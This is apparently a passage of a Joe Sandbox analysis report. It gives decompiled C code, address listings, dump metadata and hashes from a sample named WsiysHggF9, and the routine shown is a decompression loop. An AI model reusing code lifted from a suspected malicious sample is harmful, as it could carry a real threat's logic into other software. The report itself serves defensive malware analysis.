													__eflags = _t632 - 8;
													if(_t632 < 8) {
														goto L84;
													}
													L77:
													_t522 = _t632 >> 3;
													__eflags = _t522;
													do {
														L78:
														_t632 = _t632 - 8;
														 *_t652 =  *_t474;
														 *((char*)(_t652 + 1)) =  *((intOrPtr*)(_t474 + 1));
														 *((char*)(_t652 + 2)) =  *((intOrPtr*)(_t474 + 2));
														 *((char*)(_t652 + 3)) =  *((intOrPtr*)(_t474 + 3));
														 *((char*)(_t652 + 4)) =  *((intOrPtr*)(_t474 + 4));
														 *((char*)(_t652 + 5)) =  *((intOrPtr*)(_t474 + 5));
														 *((char*)(_t652 + 6)) =  *((intOrPtr*)(_t474 + 6));
														_t390 =  *((intOrPtr*)(_t474 + 7));
														_t474 = _t474 + 8;
														 *((char*)(_t652 + 7)) = _t390;
														_t652 = _t652 + 8;
														_t522 = _t522 - 1;
														__eflags = _t522;
													} while (_t522 != 0);
													goto L84;
												} else {
													L70:
													_push( *(_t638 + 0xe6dc));
													_push(_t638 + 0x7c);
													_push(_t471);
													goto L71;
												}
											}
											L51:
											if(__eflags <= 0) {
												_t656 = _t638 + 4;
											} else {
												_t439 = E002580CA(_t638 + 4);
												_t569 = 0x24;
												_t572 = _t643 - 4 +  *(_t638 + 8);
												_t656 = _t638 + 4;
												_t471 = (_t439 >> _t569 - _t643 << 4) +  *(_t658 + 0x18);
												 *_t656 =  *_t656 + (_t572 >> 3);
												 *(_t656 + 4) = _t572 & 0x00000007;
											}
											_t429 = E0024A740(_t656);
											_t430 =  *(_t638 + 0x1efc);
											_t621 = _t429 & 0x0000fffe;
											__eflags = _t621 -  *((intOrPtr*)(_t638 + 0x1e7c + _t430 * 4));
											if(_t621 >=  *((intOrPtr*)(_t638 + 0x1e7c + _t430 * 4))) {
												L56:
												_t657 = 0xf;
												_t431 = _t430 + 1;
												__eflags = _t431 - _t657;
												if(_t431 >= _t657) {
													L62:
													_t555 =  *(_t638 + 8) + _t657;
													 *(_t638 + 8) = _t555 & 0x00000007;
													_t433 = _t555 >> 3;
													 *(_t638 + 4) =  *(_t638 + 4) + _t433;
													_t557 = 0x10;
													_t560 =  *((intOrPtr*)(_t638 + 0x1ebc + _t657 * 4)) + (_t621 -  *((intOrPtr*)(_t638 + 0x1e78 + _t657 * 4)) >> _t557 - _t657);
													__eflags = _t560 -  *((intOrPtr*)(_t638 + 0x1e78));
													asm("sbb eax, eax");
													_t434 = _t433 & _t560;
													__eflags = _t434;
													_t435 =  *(_t638 + 0x2b00 + _t434 * 2) & 0x0000ffff;
													goto L63;
												}
												L57:
												_t562 = _t638 + (_t431 + 0x79f) * 4;
												while(1) {
													L58:
													__eflags = _t621 -  *_t562;
													if(_t621 <  *_t562) {
														break;
													}
													L59:
													_t431 = _t431 + 1;
													_t562 = _t562 + 4;
													__eflags = _t431 - 0xf;
													if(_t431 < 0xf) {
														continue;
													}
													L60:
													goto L62;
												}
												L61:
												_t657 = _t431;
												goto L62;
											} else {
												L55:
												_t563 = 0x10;
												_t624 = _t621 >> _t563 - _t430;
												_t566 = ( *(_t624 + _t638 + 0x1f00) & 0x000000ff) +  *(_t656 + 4);
												 *_t656 =  *_t656 + (_t566 >> 3);
												 *(_t656 + 4) = _t566 & 0x00000007;
												_t435 =  *(_t638 + 0x2300 + _t624 * 2) & 0x0000ffff;
												L63:
												_t471 = _t471 + (_t435 & 0x0000ffff);
												__eflags = _t471;
												 *(_t658 + 0x10) = _t471;
												goto L64;
											}
										}
									}
								}
								L28:
								__eflags =  *((char*)(_t638 + 0x4c44));
								if( *((char*)(_t638 + 0x4c44)) == 0) {
									L30:
									_t598 = _t638 + 0x7c;
									 *( *((intOrPtr*)(_t638 + 0x4b40)) +  *_t598) = _t460;
									 *_t598 =  *_t598 + 1;
									continue;
								}
								L29:
								 *(_t638 + 0x7c) =  *(_t638 + 0x7c) + 1;
								 *(E00251B21(_t638 + 0x4b44,  *(_t638 + 0x7c))) = _t460;
								goto L0;
							}
						}
						L13:
						__eflags = _t483 -  *_t598;
						if(_t483 ==  *_t598) {
							goto L18;
						}
						L14:
						E00254B23(_t638);
						_t415 =  *((intOrPtr*)(_t638 + 0x4c5c));
						__eflags = _t415 -  *((intOrPtr*)(_t638 + 0x4c4c));
						if(__eflags > 0) {
							goto L100;
						}
						L15:
						if(__eflags < 0) {
							L17:
							__eflags =  *((char*)(_t638 + 0x4c50));
							if( *((char*)(_t638 + 0x4c50)) != 0) {
								L162:
								 *((char*)(_t638 + 0x4c60)) = 0;
								goto L100;
							}
							goto L18;
						}
						L16:
						_t415 =  *((intOrPtr*)(_t638 + 0x4c58));
						__eflags = _t415 -  *((intOrPtr*)(_t638 + 0x4c48));
						if(_t415 >  *((intOrPtr*)(_t638 + 0x4c48))) {
							goto L100;
						}
						goto L17;
					}
				}
			}

0x00255be7
0x00255be7
0x00255be7
0x00255be7
0x00255be7
0x00255bea
0x00255bea
0x00255bf0
0x00255bfb
0x00000000
0x00255bfd
0x00255bfd
0x00255bfd
0x00255c03
0x00255c03
0x00255c0c
0x00255c0f
0x00000000
0x00000000
0x00255c1e
0x00255c25
0x002561d0
0x002561d2
0x002561d7
0x002561de
0x002561de
0x00255c2b
0x00255c2b
0x00255c2c
0x00255c2f
0x00255c36
0x00000000
0x00000000
0x00255c3c
0x00255c44
0x00255c45
0x00255c46
0x00255c47
0x00255c4e
0x00000000
0x00255c50
0x00000000
0x00255c50
0x00255c4e
0x00255c55
0x00255c57
0x00255c5c
0x00255c5e
0x00000000
0x00255c64
0x00255c64
0x00255c64
0x00255c67
0x00255c67
0x00255c77
0x00255c7c
0x00255cbc
0x00255cbe
0x00255cc5
0x00255ccb
0x00255cd1
0x00255cd8
0x00255d04
0x00255d06
0x00255d07
0x00255d08
0x00255d0a
0x00255d23
0x00255d26
0x00255d2d
0x00255d30
0x00255d33
0x00255d3f
0x00255d4b
0x00255d4d
0x00255d53
0x00255d55
0x00255d55
0x00255d57
0x00000000
0x00255d0c
0x00255d0f
0x00255d12
0x00255d12
0x00255d12
0x00255d14
0x00255d21
0x00255d21
0x00255d21
0x00255d16
0x00255d16
0x00255d17
0x00255d1a
0x00255d1d
0x00000000
0x00255d1f
0x00000000
0x00255d1f
0x00255d1d
0x00000000
0x00255d12
0x00255cda
0x00255cdc
0x00255cdf
0x00255ce9
0x00255cf1
0x00255cf7
0x00255cfa
0x00255d5f
0x00255d5f
0x00255d65
0x00255da1
0x00255da1
0x00255da7
0x002561a3
0x002561a3
0x002561a9
0x002561e1
0x002561e1
0x002561e7
0x00256384
0x00256384
0x00256384
0x0025638d
0x00256390
0x00256392
0x00256396
0x002563a5
0x002563a7
0x002563aa
0x002563b1
0x002563b7
0x002563bd
0x002563c4
0x002563f0
0x002563f2
0x002563f3
0x002563f4
0x002563f6
0x00256412
0x00256415
0x0025641c
0x0025641f
0x00256422
0x0025642e
0x0025643a
0x0025643c
0x00256442
0x00256444
0x00256444
0x00256446
0x0025644e
0x0025644e
0x00256451
0x00256454
0x00256465
0x00256468
0x00256468
0x00256456
0x00256456
0x00256456
0x0025646a
0x0025646d
0x0025646f
0x00256473
0x0025647a
0x00256482
0x00256484
0x0025648b
0x0025648e
0x0025648e
0x00256491
0x00256491
0x00256494
0x0025649b
0x0025649f
0x002564a2
0x002564b4
0x002564b4
0x002564bf
0x002564c1
0x002564c6
0x002564c8
0x0025656d
0x0025656d
0x0025656f
0x00255be7
0x00255be7
0x00255be7
0x00255be7
0x00000000
0x00255be7
0x00255be7
0x00256575
0x00256575
0x0025657b
0x0025657b
0x00256581
0x00256586
0x0025658a
0x0025658d
0x00256592
0x0025659b
0x0025659d
0x0025659d
0x0025659d
0x00000000
0x0025657b
0x002564ce
0x002564ce
0x002564d0
0x00000000
0x00000000
0x002564d6
0x002564d6
0x002564dc
0x002564de
0x002564e4
0x002564e7
0x002564e9
0x0025653a
0x0025653a
0x0025653d
0x00000000
0x00000000
0x00256543
0x00256545
0x00256545
0x00256548
0x0025654c
0x0025654e
0x0025654e
0x00256552
0x00256557
0x0025655a
0x0025655d
0x00256560
0x00256563
0x00256563
0x00256563
0x00000000
0x00256568
0x002564eb
0x002564ed
0x002564ee
0x002564f0
0x00000000
0x00000000
0x002564f6
0x002564f8
0x002564f8
0x002564fb
0x002564fb
0x002564fd
0x002564ff
0x00256505
0x0025650b
0x00256511
0x00256517
0x0025651d
0x00256523
0x00256526
0x00256529
0x0025652b
0x0025652e
0x00256530
0x00256530
0x00256530
0x00000000
0x002564a4
0x002564a4
0x002564a4
0x002564ad
0x002564ae
0x00256002
0x00256002
0x00256009
0x0025600e
0x00255be7
0x00255be7
0x00255be7
0x00255be7
0x00255be7
0x00255bea
0x00255bea
0x00255bea
0x00255bf0
0x00255bfb
0x00000000
0x00255bfd
0x00255bfd
0x00255bfd
0x00000000
0x00255bfb
0x00000000
0x00255bea
0x002561fb
0x00256202
0x00256216
0x00256216
0x00256221
0x00256224
0x00256229
0x0025622b
0x0025622d
0x0025634a
0x0025634a
0x0025634c
0x00255be7
0x00255be7
0x00255be7
0x00255be7
0x00255bea
0x00255bf0
0x00255bfb
0x00000000
0x00255bfd
0x00255bfd
0x00255bfd
0x00255bfb
0x00255be7
0x00256352
0x00256352
0x00256358
0x00256358
0x0025635e
0x00256363
0x00256367
0x0025636a
0x0025636f
0x00256378
0x0025637a
0x0025637a
0x0025637a
0x002565a2
0x002565a2
0x00000000
0x002565a2
0x00256233
0x00256233
0x00256235
0x00000000
0x00000000
0x0025623b
0x0025623b
0x00256241
0x00256243
0x00256249
0x0025624c
0x0025624e
0x00256298
0x00256298
0x0025629b
0x002562c6
0x002562c6
0x002562c9
0x002562cb
0x00000000
0x00000000
0x002562d1
0x002562d3
0x002562d6
0x002562d9
0x002562dc
0x00000000
0x00000000
0x002562e2
0x002562e5
0x002562e8
0x002562eb
0x002562ee
0x00000000
0x00000000
0x002562f4
0x002562f7
0x002562fa
0x002562fd
0x00256300
0x00000000
0x00000000
0x00256306
0x00256309
0x0025630c
0x0025630f
0x00256312
0x00000000
0x00000000
0x00256318
0x0025631b
0x0025631e
0x00256321
0x00256324
0x00000000
0x00000000
0x0025632a
0x0025632d
0x00256330
0x00256333
0x00256336
0x00000000
0x00000000
0x0025633c
0x0025633f
0x00255be7
0x00255be7
0x00255be7
0x00255be7
0x00000000
0x00255be7
0x00255be7
0x0025629d
0x0025629f
0x0025629f
0x002562a2
0x002562a6
0x002562a8
0x002562a8
0x002562ac
0x002562b1
0x002562b4
0x002562b7
0x002562ba
0x002562bd
0x002562bd
0x002562bd
0x002562c2
0x002562c2
0x00000000
0x002562c2
0x00256250
0x00256252
0x00256253
0x00256255
0x00000000
0x00000000
0x00256257
0x00256259
0x00256259
0x0025625c
0x0025625c
0x0025625e
0x00256260
0x00256266
0x0025626c
0x00256272
0x00256278
0x0025627e
0x00256284
0x00256287
0x0025628a
0x0025628c
0x0025628f
0x00256291
0x00256291
0x00256291
0x00000000
0x00256296
0x00256204
0x00256204
0x0025620d
0x0025620e
0x00000000
0x0025620e
0x002561bc
0x002561c3
0x002561c8
0x002561c8
0x00000000
0x00255be7
0x002564a2
0x002563f8
0x002563fe
0x00256401
0x00256401
0x00256401
0x00256403
0x00000000
0x00000000
0x00256405
0x00256405
0x00256406
0x00256409
0x0025640c
0x00000000
0x00000000
0x0025640e
0x00000000
0x0025640e
0x00256410
0x00256410
0x00000000
0x00256410
0x002563c6
0x002563c8
0x002563cb
0x002563d5
0x002563dd
0x002563e3
0x002563e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00256398
0x00256398
0x0025639b
0x0025639d
0x002563a0
0x002563a0
0x002563a0
0x00000000
0x00256398
0x002561ed
0x002561ed
0x002561f0
0x002561f3
0x002561f3
0x002561ab
0x002561b1
0x002561b3
0x002561b8
0x002561ba
0x00000000
0x00000000
0x00000000
0x002561ba
0x00255dad
0x00255dad
0x00255db3
0x00255db6
0x00255dc7
0x00255dca
0x00255dca
0x00255db8
0x00255db8
0x00255db8
0x00255dcc
0x00255dcf
0x00255dd1
0x00255dd5
0x00255ddc
0x00255de4
0x00255de6
0x00255ded
0x00255df0
0x00255df0
0x00255df3
0x00255df3
0x00255df8
0x00255dff
0x00255e05
0x00255e0b
0x00255e12
0x00255e3e
0x00255e40
0x00255e41
0x00255e42
0x00255e44
0x00255e60
0x00255e63
0x00255e6a
0x00255e6d
0x00255e70
0x00255e7c
0x00255e88
0x00255e8a
0x00255e90
0x00255e92
0x00255e92
0x00255e94
0x00000000
0x00255e94
0x00255e46
0x00255e4c
0x00255e4f
0x00255e4f
0x00255e4f
0x00255e51
0x00000000
0x00000000
0x00255e53
0x00255e53
0x00255e54
0x00255e57
0x00255e5a
0x00000000
0x00000000
0x00255e5c
0x00000000
0x00255e5c
0x00255e5e
0x00255e5e
0x00000000
0x00255e14
0x00255e14
0x00255e16
0x00255e19
0x00255e23
0x00255e2b
0x00255e31
0x00255e34
0x00255e9c
0x00255e9c
0x00255e9f
0x00255ea2
0x00255eb2
0x00255eb5
0x00255eb5
0x00255ea4
0x00255ea4
0x00255ea4
0x00255eb7
0x00255eb8
0x00255ebc
0x00255ebe
0x00255ec2
0x00255ec4
0x00255fb8
0x00255fb8
0x00000000
0x00255eca
0x00255eca
0x00255eca
0x00255ecd
0x00256013
0x00256016
0x0025601f
0x00256027
0x0025602b
0x0025602f
0x00256036
0x00256039
0x0025603f
0x00255fbb
0x00255fbb
0x00255fc1
0x00255fc3
0x00255fc4
0x00255fca
0x00255fcc
0x00255fcd
0x00255fd3
0x00255fd5
0x00255fd5
0x00255fd5
0x00255fd3
0x00255fca
0x00255fd9
0x00255fdf
0x00255fe5
0x00255fe8
0x00255feb
0x00255ff2
0x00255ff5
0x00256047
0x0025604d
0x00256050
0x00256052
0x00256059
0x0025605b
0x0025605d
0x00256169
0x00256169
0x0025616b
0x00000000
0x00000000
0x00256171
0x00256171
0x00256177
0x00256177
0x0025617d
0x00256182
0x00256186
0x00256189
0x0025618e
0x00256197
0x00256199
0x00256199
0x00256199
0x00000000
0x0025619e
0x00256063
0x00256063
0x00256065
0x00000000
0x00000000
0x0025606b
0x0025606b
0x00256071
0x00256074
0x0025607a
0x0025607c
0x00256080
0x002560cb
0x002560cb
0x002560ce
0x002560fd
0x002560fd
0x002560ff
0x00256107
0x0025610a
0x0025610d
0x00256116
0x00256119
0x0025611c
0x00256125
0x00256128
0x0025612b
0x00256134
0x00256137
0x0025613a
0x00256143
0x00256146
0x00256149
0x00256152
0x00256155
0x00256158
0x00256161
0x00256161
0x00256158
0x00256149
0x0025613a
0x0025612b
0x0025611c
0x0025610d
0x00000000
0x002560ff
0x002560d0
0x002560d2
0x002560d2
0x002560d5
0x002560d9
0x002560db
0x002560db
0x002560df
0x002560e4
0x002560e7
0x002560ea
0x002560ed
0x002560f0
0x002560f0
0x002560f0
0x002560f5
0x002560f9
0x00000000
0x002560f9
0x00256082
0x00256082
0x00256085
0x00000000
0x00000000
0x00256087
0x00256089
0x00256089
0x0025608c
0x0025608c
0x0025608e
0x00256091
0x00256097
0x0025609d
0x002560a3
0x002560a9
0x002560af
0x002560b5
0x002560b8
0x002560bb
0x002560be
0x002560c1
0x002560c4
0x002560c4
0x002560c4
0x00000000
0x00255ff7
0x00255ff7
0x00255ff7
0x00256000
0x00256001
0x00000000
0x00256001
0x00255ff5
0x00255ed3
0x00255ed3
0x00255f06
0x00255ed5
0x00255ed8
0x00255ee1
0x00255ee9
0x00255eec
0x00255ef4
0x00255efb
0x00255f01
0x00255f01
0x00255f0b
0x00255f12
0x00255f18
0x00255f1e
0x00255f25
0x00255f51
0x00255f53
0x00255f54
0x00255f55
0x00255f57
0x00255f73
0x00255f76
0x00255f7d
0x00255f80
0x00255f83
0x00255f8f
0x00255f9b
0x00255f9d
0x00255fa3
0x00255fa5
0x00255fa5
0x00255fa7
0x00000000
0x00255fa7
0x00255f59
0x00255f5f
0x00255f62
0x00255f62
0x00255f62
0x00255f64
0x00000000
0x00000000
0x00255f66
0x00255f66
0x00255f67
0x00255f6a
0x00255f6d
0x00000000
0x00000000
0x00255f6f
0x00000000
0x00255f6f
0x00255f71
0x00255f71
0x00000000
0x00255f27
0x00255f27
0x00255f29
0x00255f2c
0x00255f36
0x00255f3e
0x00255f44
0x00255f47
0x00255faf
0x00255fb2
0x00255fb2
0x00255fb4
0x00000000
0x00255fb4
0x00255f25
0x00255ec4
0x00255e12
0x00255d67
0x00255d67
0x00255d6e
0x00255d8c
0x00255d92
0x00255d97
0x00255d9a
0x00000000
0x00255d9a
0x00255d70
0x00255d7d
0x00255d85
0x00000000
0x00255d85
0x00255cd8
0x00255c7e
0x00255c7e
0x00255c80
0x00000000
0x00000000
0x00255c82
0x00255c84
0x00255c89
0x00255c8f
0x00255c95
0x00000000
0x00000000
0x00255c9b
0x00255c9b
0x00255caf
0x00255caf
0x00255cb6
0x002565aa
0x002565aa
0x00000000
0x002565aa
0x00000000
0x00255cb6
0x00255c9d
0x00255c9d
0x00255ca3
0x00255ca9
0x00000000
0x00000000
0x00000000
0x00255ca9
0x00255bea

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a39841cac9e84ab4e841f200c595f71da84c95fe04dc46ca835324e53b20566d
Instruction ID: 356da879ff5571d2f3cc5a19dcd8928edba2f94bfcd08580ddb18842b436f8cf
Opcode Fuzzy Hash: a39841cac9e84ab4e841f200c595f71da84c95fe04dc46ca835324e53b20566d
Instruction Fuzzy Hash: 67623871624B858FCB25CF38C8946B9BBE1AF95305F48856DDC9B8B346D230E95CCB18

Uniqueness

Uniqueness Score: -1.00%

Function 0025702F Relevance: .8, Instructions: 773
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E0025702F(void* __ecx) {
				intOrPtr* _t347;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int _t361;
				signed int _t362;
				signed int _t363;
				void* _t365;
				intOrPtr _t370;
				signed int _t380;
				char _t389;
				unsigned int _t390;
				signed int _t397;
				void* _t399;
				intOrPtr _t404;
				signed int _t407;
				char _t416;
				signed int _t417;
				char _t418;
				signed int _t420;
				signed int _t421;
				signed int _t422;
				signed int _t423;
				signed int _t425;
				signed int _t426;
				signed short _t427;
				signed int _t430;
				void* _t435;
				intOrPtr _t440;
				signed int _t443;
				char _t452;
				unsigned int _t453;
				signed int _t456;
				signed int _t457;
				signed int _t458;
				signed int _t461;
				signed int _t462;
				signed short _t463;
				unsigned int _t467;
				unsigned int _t472;
				intOrPtr _t489;
				signed int _t490;
				signed int _t491;
				signed int _t492;
				signed int _t493;
				unsigned int _t496;
				unsigned int _t498;
				intOrPtr _t499;
				signed int _t501;
				intOrPtr _t505;
				intOrPtr _t506;
				intOrPtr _t507;
				unsigned int _t510;
				void* _t512;
				signed int _t515;
				signed int* _t518;
				unsigned int _t521;
				void* _t523;
				signed int _t526;
				signed int _t529;
				intOrPtr _t530;
				void* _t532;
				signed int _t535;
				signed int _t536;
				intOrPtr* _t538;
				void* _t539;
				signed int _t542;
				intOrPtr _t545;
				unsigned int _t552;
				void* _t554;
				signed int _t557;
				signed int _t559;
				signed int _t561;
				intOrPtr _t563;
				void* _t565;
				signed int _t568;
				signed int _t569;
				signed int _t571;
				signed int _t573;
				void* _t575;
				signed int _t578;
				intOrPtr* _t580;
				void* _t581;
				signed int _t584;
				void* _t587;
				signed int _t590;
				intOrPtr* _t593;
				void* _t594;
				signed int _t597;
				void* _t600;
				signed int _t603;
				intOrPtr* _t607;
				void* _t608;
				signed int _t611;
				signed int _t614;
				unsigned int _t616;
				signed int _t619;
				signed int _t620;
				unsigned int _t622;
				signed int _t625;
				signed int _t628;
				signed int _t629;
				signed int _t630;
				signed int _t633;
				unsigned int _t635;
				signed int _t638;
				signed int _t641;
				signed int _t644;
				intOrPtr* _t645;
				unsigned int _t647;
				signed int _t650;
				signed int _t651;
				signed int _t652;
				signed int _t653;
				intOrPtr _t654;
				signed int _t655;
				signed int _t656;
				signed int _t657;
				signed int _t658;
				signed int _t659;
				signed int _t660;
				signed int _t661;
				signed int _t662;
				void* _t663;
				intOrPtr _t666;
				intOrPtr* _t667;
				intOrPtr* _t668;
				signed int _t671;
				signed int _t673;
				intOrPtr* _t675;
				signed int _t677;
				signed int _t680;
				intOrPtr* _t681;
				signed int _t682;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				void* _t691;

				_t654 =  *((intOrPtr*)(_t691 + 0x34));
				_t663 = __ecx;
				if( *((char*)(_t654 + 0x2c)) != 0) {
					L3:
					_t505 =  *((intOrPtr*)(_t654 + 0x18));
					__eflags =  *((intOrPtr*)(_t654 + 4)) -  *((intOrPtr*)(_t654 + 0x24)) + _t505;
					if( *((intOrPtr*)(_t654 + 4)) >  *((intOrPtr*)(_t654 + 0x24)) + _t505) {
						L2:
						 *((char*)(_t654 + 0x4ad0)) = 1;
						return 0;
					} else {
						_t489 =  *((intOrPtr*)(_t654 + 0x4acc)) - 0x10;
						_t666 = _t505 - 1 +  *((intOrPtr*)(_t654 + 0x20));
						 *((intOrPtr*)(_t691 + 0x14)) = _t666;
						 *((intOrPtr*)(_t691 + 0x10)) = _t489;
						 *((intOrPtr*)(_t691 + 0x20)) = _t666;
						__eflags = _t666 - _t489;
						if(_t666 >= _t489) {
							 *((intOrPtr*)(_t691 + 0x20)) = _t489;
						}
						_t347 = _t654 + 4;
						while(1) {
							_t614 =  *(_t663 + 0xe6dc);
							 *(_t663 + 0x7c) =  *(_t663 + 0x7c) & _t614;
							_t506 =  *_t347;
							__eflags = _t506 -  *((intOrPtr*)(_t691 + 0x20));
							if(_t506 <  *((intOrPtr*)(_t691 + 0x20))) {
								goto L16;
							}
							L10:
							__eflags = _t506 - _t666;
							if(__eflags > 0) {
								L100:
								_t418 = 1;
								L101:
								return _t418;
							}
							if(__eflags != 0) {
								L13:
								__eflags = _t506 - _t499;
								if(_t506 < _t499) {
									L15:
									__eflags = _t506 -  *((intOrPtr*)(_t654 + 0x4acc));
									if(_t506 >=  *((intOrPtr*)(_t654 + 0x4acc))) {
										L151:
										 *((char*)(_t654 + 0x4ad3)) = 1;
										goto L100;
									}
									goto L16;
								}
								__eflags =  *((char*)(_t654 + 0x4ad2));
								if( *((char*)(_t654 + 0x4ad2)) == 0) {
									goto L151;
								}
								goto L15;
							}
							__eflags =  *(_t654 + 8) -  *((intOrPtr*)(_t654 + 0x1c));
							if( *(_t654 + 8) >=  *((intOrPtr*)(_t654 + 0x1c))) {
								goto L100;
							}
							goto L13;
							L16:
							_t507 =  *((intOrPtr*)(_t663 + 0x4b3c));
							__eflags = (_t507 -  *(_t663 + 0x7c) & _t614) - 0x1004;
							if((_t507 -  *(_t663 + 0x7c) & _t614) >= 0x1004) {
								L21:
								_t667 = _t654 + 4;
								_t351 = E0024A740(_t667);
								_t352 =  *(_t654 + 0xb4);
								_t616 = _t351 & 0x0000fffe;
								__eflags = _t616 -  *((intOrPtr*)(_t654 + 0x34 + _t352 * 4));
								if(_t616 >=  *((intOrPtr*)(_t654 + 0x34 + _t352 * 4))) {
									_t490 = 0xf;
									_t353 = _t352 + 1;
									__eflags = _t353 - _t490;
									if(_t353 >= _t490) {
										L30:
										_t510 =  *(_t667 + 4) + _t490;
										 *(_t667 + 4) = _t510 & 0x00000007;
										_t355 = _t510 >> 3;
										 *_t667 =  *_t667 + _t355;
										_t512 = 0x10;
										_t515 =  *((intOrPtr*)(_t654 + 0x74 + _t490 * 4)) + (_t616 -  *((intOrPtr*)(_t654 + 0x30 + _t490 * 4)) >> _t512 - _t490);
										__eflags = _t515 -  *((intOrPtr*)(_t654 + 0x30));
										asm("sbb eax, eax");
										_t356 = _t355 & _t515;
										__eflags = _t356;
										_t619 =  *(_t654 + 0xcb8 + _t356 * 2) & 0x0000ffff;
										_t347 = _t654 + 4;
										L31:
										__eflags = _t619 - 0x100;
										if(_t619 >= 0x100) {
											__eflags = _t619 - 0x106;
											if(_t619 < 0x106) {
												__eflags = _t619 - 0x100;
												if(_t619 != 0x100) {
													__eflags = _t619 - 0x101;
													if(_t619 != 0x101) {
														_t620 = _t619 + 0xfffffefe;
														__eflags = _t620;
														_t518 =  &((_t663 + 0x60)[_t620]);
														_t491 =  *_t518;
														 *(_t691 + 0x24) = _t491;
														if(_t620 == 0) {
															L122:
															_t668 = _t654 + 4;
															 *(_t663 + 0x60) = _t491;
															_t357 = E0024A740(_t668);
															_t358 =  *(_t654 + 0x2d78);
															_t622 = _t357 & 0x0000fffe;
															__eflags = _t622 -  *((intOrPtr*)(_t654 + 0x2cf8 + _t358 * 4));
															if(_t622 >=  *((intOrPtr*)(_t654 + 0x2cf8 + _t358 * 4))) {
																_t492 = 0xf;
																_t359 = _t358 + 1;
																__eflags = _t359 - _t492;
																if(_t359 >= _t492) {
																	L130:
																	_t521 =  *(_t668 + 4) + _t492;
																	 *(_t668 + 4) = _t521 & 0x00000007;
																	_t361 = _t521 >> 3;
																	 *_t668 =  *_t668 + _t361;
																	_t523 = 0x10;
																	_t526 =  *((intOrPtr*)(_t654 + 0x2d38 + _t492 * 4)) + (_t622 -  *((intOrPtr*)(_t654 + 0x2cf4 + _t492 * 4)) >> _t523 - _t492);
																	__eflags = _t526 -  *((intOrPtr*)(_t654 + 0x2cf4));
																	asm("sbb eax, eax");
																	_t362 = _t361 & _t526;
																	__eflags = _t362;
																	_t363 =  *(_t654 + 0x397c + _t362 * 2) & 0x0000ffff;
																	L131:
																	_t493 = _t363 & 0x0000ffff;
																	__eflags = _t493 - 8;
																	if(_t493 >= 8) {
																		_t671 = (_t493 >> 2) - 1;
																		_t493 = (_t493 & 0x00000003 | 0x00000004) << _t671;
																		__eflags = _t493;
																	} else {
																		_t671 = 0;
																	}
																	_t496 = _t493 + 2;
																	__eflags = _t671;
																	if(_t671 != 0) {
																		_t390 = E0024A740(_t654 + 4);
																		_t532 = 0x10;
																		_t496 = _t496 + (_t390 >> _t532 - _t671);
																		_t535 =  *(_t654 + 8) + _t671;
																		 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t535 >> 3);
																		_t536 = _t535 & 0x00000007;
																		__eflags = _t536;
																		 *(_t654 + 8) = _t536;
																	}
																	_t625 =  *(_t663 + 0x7c);
																	_t673 = _t625 -  *(_t691 + 0x24);
																	_t365 =  *((intOrPtr*)(_t663 + 0xe6d8)) + 0xffffeffc;
																	 *(_t663 + 0x74) = _t496;
																	__eflags = _t673 - _t365;
																	if(_t673 >= _t365) {
																		L147:
																		_t347 = _t654 + 4;
																		__eflags = _t496;
																		if(_t496 == 0) {
																			goto L7;
																		}
																		_t655 =  *(_t663 + 0xe6dc);
																		do {
																			_t656 = _t655 & _t673;
																			_t673 = _t673 + 1;
																			 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) =  *((intOrPtr*)(_t656 +  *((intOrPtr*)(_t663 + 0x4b40))));
																			_t655 =  *(_t663 + 0xe6dc);
																			 *(_t663 + 0x7c) =  *(_t663 + 0x7c) + 0x00000001 & _t655;
																			_t496 = _t496 - 1;
																			__eflags = _t496;
																		} while (_t496 != 0);
																		L150:
																		_t654 =  *((intOrPtr*)(_t691 + 0x3c));
																		L33:
																		_t347 = _t654 + 4;
																		goto L7;
																	} else {
																		__eflags = _t625 - _t365;
																		if(_t625 >= _t365) {
																			goto L147;
																		}
																		_t370 =  *((intOrPtr*)(_t663 + 0x4b40));
																		_t675 = _t673 + _t370;
																		_t529 = _t370 + _t625;
																		 *(_t691 + 0x1c) = _t529;
																		 *(_t663 + 0x7c) = _t625 + _t496;
																		__eflags =  *(_t691 + 0x24) - _t496;
																		if( *(_t691 + 0x24) >= _t496) {
																			__eflags = _t496 - 8;
																			if(_t496 < 8) {
																				L85:
																				_t347 = _t654 + 4;
																				__eflags = _t498;
																				if(_t498 == 0) {
																					L7:
																					L8:
																					_t666 =  *((intOrPtr*)(_t691 + 0x14));
																					while(1) {
																						_t614 =  *(_t663 + 0xe6dc);
																						 *(_t663 + 0x7c) =  *(_t663 + 0x7c) & _t614;
																						_t506 =  *_t347;
																						__eflags = _t506 -  *((intOrPtr*)(_t691 + 0x20));
																						if(_t506 <  *((intOrPtr*)(_t691 + 0x20))) {
																							goto L16;
																						}
																						goto L10;
																					}
																				}
																				 *_t529 =  *_t675;
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 1;
																				if(_t498 <= 1) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
																				_t347 = _t654 + 4;
																				__eflags = _t498 - 2;
																				if(_t498 <= 2) {
																					goto L7;
																				}
																				 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
																				_t347 = _t654 + 4;
